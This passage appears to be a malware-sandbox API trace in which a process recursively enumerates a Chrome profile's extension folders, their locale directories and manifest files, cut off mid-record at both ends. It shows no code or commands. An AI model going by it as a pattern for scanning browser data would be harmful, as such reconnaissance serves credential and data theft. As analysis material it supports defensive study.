ftLastWriteTime.dwLowDateTime=0x827cc540, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0278.660] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0278.660] GetProcessHeap () returned 0x550000 [0278.660] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0278.660] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x827e4be0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x827e72f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x827e72f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0278.661] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0278.661] GetProcessHeap () returned 0x550000 [0278.661] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0278.661] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x827f5d50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x827fab70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x827fab70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0278.662] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0278.662] GetProcessHeap () returned 0x550000 [0278.662] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0278.662] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x828095d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8280e3f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8280e3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0278.662] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0278.662] GetProcessHeap () returned 0x550000 [0278.662] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0278.662] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8282b8b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x828306d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x828306d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0278.663] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0278.664] GetProcessHeap () returned 0x550000 [0278.664] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0278.664] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8284db90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x828529b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x828529b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0278.664] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0278.664] GetProcessHeap () returned 0x550000 [0278.664] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0278.664] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82863b20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82866230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82866230, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0278.665] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0278.665] GetProcessHeap () returned 0x550000 [0278.665] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0278.665] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8286b050, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8286d760, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8286d760, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0278.665] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0278.665] GetProcessHeap () returned 0x550000 [0278.665] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0278.665] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82872580, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82874c90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82874c90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0278.666] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0278.666] GetProcessHeap () returned 0x550000 [0278.666] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0278.667] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_CN\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82879ab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8287e8d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8287e8d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0278.667] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0278.667] GetProcessHeap () returned 0x550000 [0278.667] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0278.667] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_TW\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x828836f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82885e00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82885e00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0278.668] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0278.668] GetProcessHeap () returned 0x550000 [0278.668] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0278.668] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0278.668] GetProcessHeap () returned 0x550000 [0278.668] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0278.668] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_metadata\\*", lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x828e7880, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x828e9f90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x828e9f90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0278.669] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x828e7880, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x828e9f90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x828e9f90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0278.669] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x828e9f90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x828e9f90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb7bfbc00, ftLastWriteTime.dwHighDateTime=0x1d297b0, nFileSizeHigh=0x0, nFileSizeLow=0x2dfa, dwReserved0=0x0, dwReserved1=0x0, cFileName="verified_contents.json", cAlternateFileName="VERIFI~1.JSO")) returned 1 [0278.670] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x828e9f90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x828e9f90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb7bfbc00, ftLastWriteTime.dwHighDateTime=0x1d297b0, nFileSizeHigh=0x0, nFileSizeLow=0x2dfa, dwReserved0=0x0, dwReserved1=0x0, cFileName="verified_contents.json", cAlternateFileName="VERIFI~1.JSO")) returned 0 [0278.670] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0278.670] GetProcessHeap () returned 0x550000 [0278.670] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0278.670] FindNextFileW (in: hFindFile=0x6399c8, lpFindFileData=0x2ced958 | out: lpFindFileData=0x2ced958*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x828e7880, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x828e9f90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x828e9f90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_metadata", cAlternateFileName="_METAD~1")) returned 0 [0278.670] FindClose (in: hFindFile=0x6399c8 | out: hFindFile=0x6399c8) returned 1 [0278.670] GetProcessHeap () returned 0x550000 [0278.670] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b4378 | out: hHeap=0x550000) returned 1 [0278.672] FindNextFileW (in: hFindFile=0x639988, lpFindFileData=0x2cedbe0 | out: lpFindFileData=0x2cedbe0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82651e90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x828e7880, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x828e7880, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.2_0", cAlternateFileName="100~1.2_0")) returned 0 [0278.672] FindClose (in: hFindFile=0x639988 | out: hFindFile=0x639988) returned 1 [0278.672] GetProcessHeap () returned 0x550000 [0278.672] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0278.672] FindNextFileW (in: hFindFile=0x639948, lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x814d6d00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9174a630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9174a630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pjkljhegncpnkpknbcohdijeoejaedia", cAlternateFileName="PJKLJH~1")) returned 1 [0278.672] GetProcessHeap () returned 0x550000 [0278.672] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0278.672] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\*", lpFindFileData=0x2cedbe0 | out: lpFindFileData=0x2cedbe0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x814d6d00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9174a630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9174a630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639988 [0278.673] FindNextFileW (in: hFindFile=0x639988, lpFindFileData=0x2cedbe0 | out: lpFindFileData=0x2cedbe0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x814d6d00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9174a630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9174a630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0278.673] FindNextFileW (in: hFindFile=0x639988, lpFindFileData=0x2cedbe0 | out: lpFindFileData=0x2cedbe0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86989eb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86d1bfb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="8.1_0", cAlternateFileName="")) returned 1 [0278.673] GetProcessHeap () returned 0x550000 [0278.673] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b4378 [0278.673] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\*", lpFindFileData=0x2ced958 | out: lpFindFileData=0x2ced958*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86989eb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86d1bfb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6399c8 [0278.676] FindNextFileW (in: hFindFile=0x6399c8, lpFindFileData=0x2ced958 | out: lpFindFileData=0x2ced958*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86989eb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86d1bfb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0278.676] FindNextFileW (in: hFindFile=0x6399c8, lpFindFileData=0x2ced958 | out: lpFindFileData=0x2ced958*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x869b0010, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86d1bfb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x180f, dwReserved0=0x0, dwReserved1=0x0, cFileName="128.png", cAlternateFileName="")) returned 1 [0278.676] FindNextFileW (in: hFindFile=0x6399c8, lpFindFileData=0x2ced958 | out: lpFindFileData=0x2ced958*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86989eb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x869b0fb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x310, dwReserved0=0x0, dwReserved1=0x0, cFileName="manifest.json", cAlternateFileName="MANIFE~1.JSO")) returned 1 [0278.676] FindNextFileW (in: hFindFile=0x6399c8, lpFindFileData=0x2ced958 | out: lpFindFileData=0x2ced958*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869b0010, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a22430, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a22430, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_locales", cAlternateFileName="")) returned 1 [0278.676] GetProcessHeap () returned 0x550000 [0278.676] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3732068 [0278.677] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\*", lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869b0010, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a22430, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a22430, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0278.679] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869b0010, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a22430, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a22430, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0278.679] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86aba9b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86aba9b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar", cAlternateFileName="")) returned 1 [0278.679] GetProcessHeap () returned 0x550000 [0278.679] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3742070 [0278.679] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86aba9b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86aba9b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0278.680] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86aba9b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86aba9b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0278.680] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86aba9b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86abb180, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x138, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0278.681] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86aba9b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86abb180, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x138, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0278.681] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0278.681] GetProcessHeap () returned 0x550000 [0278.681] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0278.681] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86aba9b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86aba9b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg", cAlternateFileName="")) returned 1 [0278.681] GetProcessHeap () returned 0x550000 [0278.681] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3742070 [0278.681] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, 